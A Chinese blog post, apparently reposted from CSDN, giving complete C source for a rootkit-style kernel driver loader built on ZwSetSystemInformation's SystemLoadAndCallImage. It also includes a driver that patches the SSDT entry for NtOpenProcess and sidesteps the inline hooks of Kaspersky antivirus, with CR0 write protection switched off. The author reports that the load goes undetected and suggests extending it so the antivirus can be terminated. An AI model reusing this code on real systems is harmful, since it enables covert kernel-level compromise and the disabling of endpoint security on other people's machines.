您的位置:首页 > 其它

ZwSetSystemInformation的使用

2010-09-02 06:10 417 查看
// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.
//

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
////////////////////////////////////////
/*
有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》
ZwSetSystemInformation设置影响操作系统的信息,定义如下:
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSystemInformation(
IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength);

参数:
SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是

SystemInformation:
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;

SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)

成员:
Module:要加载模块的NATIVE NT格式的完整路径

备注:
这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。

SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
SystemInformationClass来设置它
*/

//*-----一些數據類型的定義開始--------------
typedef unsigned long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef VOID (__stdcall *RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(
IN DWORD SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength
);

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

#define SystemLoadAndCallImage 38
//*-----數據類型的定義結束--------------

void main(void)
{
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;

if( !(RtlInitUnicodeString =
(RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);

if( !(ZwSetSystemInformation =
(ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);

RtlInitUnicodeString( &(GregsImage.ModuleName),
L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了

if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,
&GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间
printf("Rootkit Loaded./n");
else printf("Rootkit not loaded./n");
}
驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook的(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.

#include<ntddk.h>

typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数

//---------------------------------------------------------------------
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
DbgPrint("NtOpenProcess() called");
__asm
{
push 0C4h
push 804eb560h //共十个字节
jmp [JmpAddress]
}
}
//---------------------------------------------------------------------
VOID Hook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
DbgPrint("Address:0x%08X",Address);

OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);

DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);

JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了
DbgPrint("JmpAddress:0x%08X",JmpAddress);

__asm
{//去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT

__asm
{//恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}

VOID Unhook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT

__asm
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT

__asm
{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//---------------------------------------------------------------------
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
Unhook();
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = OnUnload;
Hook();
return STATUS_SUCCESS;
}
好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess咧,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7嘛,沒那麽容易結束的,哈哈).

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/iiprogram/archive/2008/04/02/2245932.aspx
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: